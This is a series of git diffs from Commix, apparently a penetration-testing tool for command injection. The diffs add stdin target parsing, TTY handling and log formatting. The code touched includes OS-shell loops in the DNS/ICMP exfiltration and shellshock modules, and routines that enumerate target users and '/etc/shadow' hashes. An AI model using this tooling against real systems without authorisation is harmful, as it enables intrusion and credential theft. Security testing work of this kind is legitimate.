print(settings.print_error_msg(err_msg)) # Delete previous shell (text) files (output) from temp. diff --git a/src/core/main.py b/src/core/main.py index e91ba366c9..584afca196 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -59,6 +59,26 @@ # Use Colorama to make Termcolor work on Windows too :) init() +""" +Check for HTTP Method +""" +def check_http_method(url): + # Check for HTTP Method + if len(settings.HTTP_METHOD) != 0: + http_request_method = settings.HTTP_METHOD.upper() + else: + if not menu.options.data or \ + not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in url or \ + settings.INJECT_TAG in url or \ + [x for x in settings.TEST_PARAMETER if(x + "=" in url and not x in menu.options.data)]: + http_request_method = settings.HTTPMETHOD.GET + else: + http_request_method = settings.HTTPMETHOD.POST + + if menu.options.offline: + settings.CHECK_FOR_UPDATES_ON_START = False + + return http_request_method """ Define HTTP User-Agent header. @@ -67,18 +87,20 @@ def user_agent_header(): # Check if defined "--mobile" option. if menu.options.mobile: if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.random_agent: - err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS or settings.IS_TTY: + err_msg = "The switch '--mobile' is incompatible with option '--user-agent' or switch '--random-agent'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() else: - menu.options.agent = menu.mobile_user_agents() + menu.options.agent = checks.mobile_user_agents() # Check if defined "--random-agent" option. if menu.options.random_agent: if ((menu.options.agent != settings.DEFAULT_USER_AGENT) and not menu.options.requestfile) or menu.options.mobile: - err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + if not settings.MULTI_TARGETS or settings.IS_TTY: + err_msg = "The switch '--random-agent' is incompatible with option '--user-agent' or switch '--mobile'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() else: if settings.VERBOSITY_LEVEL != 0: debug_msg = "Fetching random HTTP User-Agent header. " @@ -97,7 +119,6 @@ def user_agent_header(): if settings.VERBOSITY_LEVEL != 0: debug_msg = "Setting the HTTP User-Agent header." print(settings.print_debug_msg(debug_msg)) - """ Examine the request """ @@ -496,6 +517,7 @@ def main(filename, url): try: filename = "" + # Check if defined "--version" option. if menu.options.version: version.show_version() @@ -549,8 +571,11 @@ def main(filename, url): install.installer() raise SystemExit() + if not sys.stdin.isatty(): + settings.IS_TTY = False + # Check for missing mandatory option(s). - if not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ + if settings.IS_TTY and not any((menu.options.url, menu.options.logfile, menu.options.bulkfile, \ menu.options.requestfile, menu.options.sitemap_url, menu.options.wizard, \ menu.options.update, menu.options.list_tampers, menu.options.purge, menu.options.noncore_dependencies)): err_msg = "Missing a mandatory option (-u, -l, -m, -r, -x, --wizard, --update, --list-tampers, --purge or --dependencies). " @@ -636,7 +661,7 @@ def main(filename, url): print(settings.print_critical_msg(err_msg)) raise SystemExit() - if menu.options.wizard: + if menu.options.wizard and settings.IS_TTY: if not menu.options.url: while True: message = "Please enter full target URL (-u) > " @@ -677,7 +702,7 @@ def main(filename, url): settings.CRAWLING = True # Check arguments - if len(sys.argv) == 1: + if len(sys.argv) == 1 and settings.IS_TTY: menu.parser.print_help() print(settings.SINGLE_WHITESPACE) raise SystemExit() @@ -743,21 +768,6 @@ def main(filename, url): elif menu.options.requestfile or menu.options.logfile: parser.logfile_parser() - # Check for HTTP Method - if len(settings.HTTP_METHOD) != 0: - http_request_method = settings.HTTP_METHOD.upper() - else: - if not menu.options.data or \ - not settings.WILDCARD_CHAR is None and settings.WILDCARD_CHAR in menu.options.url or \ - settings.INJECT_TAG in menu.options.url or \ - [x for x in settings.TEST_PARAMETER if(x + "=" in menu.options.url and not x in menu.options.data)]: - http_request_method = settings.HTTPMETHOD.GET - else: - http_request_method = settings.HTTPMETHOD.POST - - if menu.options.offline: - settings.CHECK_FOR_UPDATES_ON_START = False - # Check if ".git" exists and check for updated version! if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() @@ -768,7 +778,8 @@ def main(filename, url): else: url = menu.options.url - if not menu.options.bulkfile and not settings.CRAWLING: + if settings.IS_TTY and not menu.options.bulkfile and not settings.CRAWLING: + http_request_method = check_http_method(url) if os_checks_num == 0: settings.INIT_TEST = True response, url = url_response(url) @@ -800,9 +811,9 @@ def main(filename, url): print(settings.SINGLE_WHITESPACE) with open(menu.options.bulkfile) as f: bulkfile = [url.strip() for url in f] - + # Check if option "--crawl" is enabled. - if settings.CRAWLING: + if settings.CRAWLING and settings.IS_TTY: settings.CRAWLING_PHASE = True output_href = [] url_num = 1 @@ -821,20 +832,32 @@ def main(filename, url): settings.CRAWLING_PHASE = False else: output_href = [] - output_href = output_href + bulkfile - filename = None + if settings.IS_TTY: + output_href = output_href + bulkfile + filename = None + else: + info_msg = "Using 'stdin' for parsing targets list." + print(settings.print_info_msg(info_msg)) + menu.options.batch = True + bulkfile = sys.stdin + settings.MULTI_TARGETS = True + for line in bulkfile: + if re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I): + output_href.append(line.rstrip()) + # Removing duplicates from list. clean_output_href = [] [clean_output_href.append(x) for x in output_href if x not in clean_output_href] # Removing empty elements from list. clean_output_href = [x for x in clean_output_href if x] - if len(output_href) >= 0: + if len(output_href) >= 0 and settings.IS_TTY: if filename is not None: filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) url_num = 0 for url in clean_output_href: + http_request_method = check_http_method(url) if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: url_num += 1 print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") diff --git a/src/core/modules/dns_exfiltration/dns_exfiltration.py b/src/core/modules/dns_exfiltration/dns_exfiltration.py index 79ef2db2af..643403a2b8 100755 --- a/src/core/modules/dns_exfiltration/dns_exfiltration.py +++ b/src/core/modules/dns_exfiltration/dns_exfiltration.py @@ -116,7 +116,7 @@ def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py index 25cfade488..6aa656162e 100755 --- a/src/core/modules/icmp_exfiltration/icmp_exfiltration.py +++ b/src/core/modules/icmp_exfiltration/icmp_exfiltration.py @@ -151,7 +151,7 @@ def input_cmd(http_request_method, url, vuln_parameter, ip_src, technique): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 3a36712620..67b70d2cc4 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -761,7 +761,10 @@ def shellshock_handler(url, http_request_method, filename): if go_back == True: break message = "Do you want a Pseudo-Terminal shell? [Y/n] > " - gotshell = common.read_input(message, default="Y", check_batch=True) + if settings.IS_TTY: + gotshell = common.read_input(message, default="Y", check_batch=True) + else: + gotshell = common.read_input(message, default="n", check_batch=True) if gotshell in settings.CHOICE_YES: print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: @@ -771,7 +774,7 @@ def shellshock_handler(url, http_request_method, filename): if not settings.READLINE_ERROR: checks.tab_autocompleter() sys.stdout.write(settings.OS_SHELL) - cmd = common.read_input(message="", default=None, check_batch=True) + cmd = common.read_input(message="", default="os_shell", check_batch=True) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: @@ -807,6 +810,8 @@ def shellshock_handler(url, http_request_method, filename): raise except EOFError: + if not settings.IS_TTY: + print(settings.SINGLE_WHITESPACE) err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise diff --git a/src/utils/common.py b/src/utils/common.py index 78a70cf5ad..99b49c8eef 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -42,12 +42,13 @@ def is_empty(): value = None if "\n" in message: message += ("\n" if message.count("\n") > 1 else "") + elif len(message) == 0: - return _input() + return is_empty() if settings.ANSWERS: if not any(_ in settings.ANSWERS for _ in ",="): - return is_empty() + return is_empty(message, default=None, check_batch=True) else: for item in settings.ANSWERS.split(','): question = item.split('=')[0].strip() diff --git a/src/utils/menu.py b/src/utils/menu.py index ea1e8a080d..76aad531c3 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -708,23 +708,6 @@ def mobile_user_agents(): Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' for Google Pixel". Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' for Xiaomi Mi 3.""") - while True: - message = "Which smartphone do you want to imitate through HTTP User-Agent header? " - mobile_user_agent = common.read_input(message, default=None, check_batch=True) - try: - if int(mobile_user_agent) in range(0,len(settings.MOBILE_USER_AGENT_LIST)): - return settings.MOBILE_USER_AGENT_LIST[int(mobile_user_agent)] - elif mobile_user_agent.lower() == "q": - raise SystemExit() - else: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - except ValueError: - err_msg = "'" + mobile_user_agent + "' is not a valid answer." - print(settings.print_error_msg(err_msg)) - pass - """ The tab compliter (shell options). """ diff --git a/src/utils/settings.py b/src/utils/settings.py index 90f17e1d53..fd2bb7b4ec 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "62" +REVISION = "63" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -382,6 +382,8 @@ def sys_argv_errors(): # Max Length for command execution output. MAXLEN = 10000 +IS_TTY = True + # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 From 3b9a3862bfc8d81672817b458c711068d2c210cb Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 16 May 2022 08:33:58 +0300 Subject: [PATCH 140/560] Minor fixes --- src/core/injections/controller/checks.py | 6 +++--- src/core/injections/controller/controller.py | 2 +- src/core/main.py | 15 ++++++++------- src/utils/menu.py | 1 - src/utils/settings.py | 2 +- 5 files changed, 13 insertions(+), 13 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 92654e0bee..3090764f7d 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -101,7 +101,7 @@ def connection_exceptions(err_msg, url): error_msg = str(err_msg) if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2 and not settings.CRAWLING: print(settings.SINGLE_WHITESPACE) - if "wrong version number" in str(error_msg).lower(): + if any(x in str(error_msg).lower() for x in ["wrong version number", "ssl", "https"]): settings.MAX_RETRIES = 1 error_msg = "Can't establish SSL connection" elif "connection refused" in str(error_msg).lower(): @@ -145,7 +145,7 @@ def connection_exceptions(err_msg, url): _ = " Skipping URL '" + str(url) + "'." if settings.MULTI_TARGETS or settings.CRAWLING: error_msg = error_msg + _ - if len(_) != 0 or (not settings.MULTI_TARGETS and not settings.CRAWLING): + if len(_) != 0 or not settings.MULTI_TARGETS or not settings.CRAWLING: print(settings.print_critical_msg(error_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: @@ -1109,7 +1109,7 @@ def whitespace_check(payload): # Enable the "multiplespaces" tamper script. count_spaces = payload.count(settings.WHITESPACES[0]) - if count_spaces >= 5: + if count_spaces > 15: if menu.options.tamper: menu.options.tamper = menu.options.tamper + ",multiplespaces" else: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index c96bb88b31..4d280a102c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -840,7 +840,7 @@ def do_check(url, http_request_method, filename): err_msg += " and/or remove the option '--skip-empty'" err_msg += "." print(settings.print_critical_msg(err_msg)) - + logs.print_logs_notification(filename, url) if not settings.MULTI_TARGETS: print(settings.SINGLE_WHITESPACE) diff --git a/src/core/main.py b/src/core/main.py index 584afca196..32a1f4fb4a 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -63,7 +63,6 @@ Check for HTTP Method """ def check_http_method(url): - # Check for HTTP Method if len(settings.HTTP_METHOD) != 0: http_request_method = settings.HTTP_METHOD.upper() else: @@ -80,6 +79,7 @@ def check_http_method(url): return http_request_method + """ Define HTTP User-Agent header. """ @@ -543,10 +543,10 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - if not menu.options.batch: + if not settings.IS_TTY or settings.CRAWLING or menu.options.bulkfile: settings.OS_CHECKS_NUM = 1 - for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): + for os_checks_num in range(0, int(settings.OS_CHECKS_NUM)): # Check if defined "--list-tampers" option. if menu.options.list_tampers: checks.list_tamper_scripts() @@ -832,9 +832,9 @@ def main(filename, url): settings.CRAWLING_PHASE = False else: output_href = [] + filename = None if settings.IS_TTY: output_href = output_href + bulkfile - filename = None else: info_msg = "Using 'stdin' for parsing targets list." print(settings.print_info_msg(info_msg)) @@ -850,21 +850,22 @@ def main(filename, url): [clean_output_href.append(x) for x in output_href if x not in clean_output_href] # Removing empty elements from list. clean_output_href = [x for x in clean_output_href if x] - if len(output_href) >= 0 and settings.IS_TTY: + if len(output_href) != 0 and settings.IS_TTY: if filename is not None: filename = crawler.store_crawling(output_href) info_msg = "Found a total of " + str(len(clean_output_href)) + " target"+ "s"[len(clean_output_href) == 1:] + "." print(settings.print_info_msg(info_msg)) url_num = 0 for url in clean_output_href: - http_request_method = check_http_method(url) + http_request_method = check_http_method(url) if (settings.CRAWLING and re.search(r"(.*?)\?(.+)", url)) or settings.MULTI_TARGETS: url_num += 1 print(settings.print_message("[" + str(url_num) + "/" + str(len(clean_output_href)) + "] URL - " + url) + "") message = "Do you want to use URL #" + str(url_num) + " to perform tests? [Y/n] > " message = common.read_input(message, default="Y", check_batch=True) if message in settings.CHOICE_YES: - settings.INIT_TEST = True + if os_checks_num == 0: + settings.INIT_TEST = True if url == clean_output_href[-1]: settings.EOF = True # Reset the injection level diff --git a/src/utils/menu.py b/src/utils/menu.py index 76aad531c3..0ecf8de967 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -19,7 +19,6 @@ from optparse import OptionGroup from optparse import OptionParser from optparse import SUPPRESS_HELP as SUPPRESS -from src.utils import common from src.thirdparty.six.moves import input as _input from src.thirdparty.colorama import Fore, Back, Style, init diff --git a/src/utils/settings.py b/src/utils/settings.py index fd2bb7b4ec..989335bb4e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "63" +REVISION = "64" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From c61ea8b7040a10695a5eff523ee1cf55b773a31c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 17 May 2022 07:32:14 +0300 Subject: [PATCH 141/560] Multiple updates --- .../techniques/time_based/tb_enumeration.py | 6 +- .../techniques/classic/cb_enumeration.py | 10 ++-- .../techniques/eval_based/eb_enumeration.py | 10 ++-- .../techniques/file_based/fb_enumeration.py | 10 ++-- .../tempfile_based/tfb_enumeration.py | 8 +-- src/core/modules/shellshock/shellshock.py | 8 +-- src/utils/settings.py | 58 ++++++++++--------- 7 files changed, 57 insertions(+), 53 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index 9b58f69a2b..4117841b91 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -410,12 +410,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - sys.stdout.write("\n (" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -497,7 +497,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0] + " : " + fields[1]) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + " : " + fields[1]) output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index 2eaa747617..dc75d4a03e 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -331,11 +331,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -431,11 +431,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -520,7 +520,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py index 6155a8537c..0b2bfb403f 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_enumeration.py @@ -334,11 +334,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -432,11 +432,11 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -522,7 +522,7 @@ def system_passwords(separator, TAG, prefix, suffix, whitespace, http_request_me # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py index 25175bc380..f8d1f4f8eb 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_enumeration.py @@ -315,11 +315,11 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h is_privileged_nh = "" # if settings.VERBOSITY_LEVEL != 0: # print(settings.SINGLE_WHITESPACE) - print(" (" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -414,11 +414,11 @@ def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, h else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -502,7 +502,7 @@ def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespac # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py index 5baeeb5671..b8c34fb284 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_enumeration.py @@ -318,7 +318,7 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + ".\n" ) output_file.close() else: sys.stdout.write(settings.FAIL_STATUS) @@ -413,12 +413,12 @@ def system_users(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timese else : is_privileged = "" is_privileged_nh = "" - sys.stdout.write("\n (" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + sys.stdout.write("\n" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") sys.stdout.flush() # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0]+ "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) output_file.close() except ValueError: if count == 1 : @@ -503,7 +503,7 @@ def system_passwords(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, ti # Add infos to logs file. output_file = open(filename, "a") if not menu.options.no_logging: - output_file.write(" (" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") output_file.close() # Check for appropriate '/etc/shadow' format. except IndexError: diff --git a/src/core/modules/shellshock/shellshock.py b/src/core/modules/shellshock/shellshock.py index 67b70d2cc4..b9614c161d 100755 --- a/src/core/modules/shellshock/shellshock.py +++ b/src/core/modules/shellshock/shellshock.py @@ -260,11 +260,11 @@ def enumeration(url, cve, check_header, filename): else : is_privileged = "" is_privileged_nh = "" - print(" (" +str(count)+ ") '" + Style.BRIGHT + fields[0]+ Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). 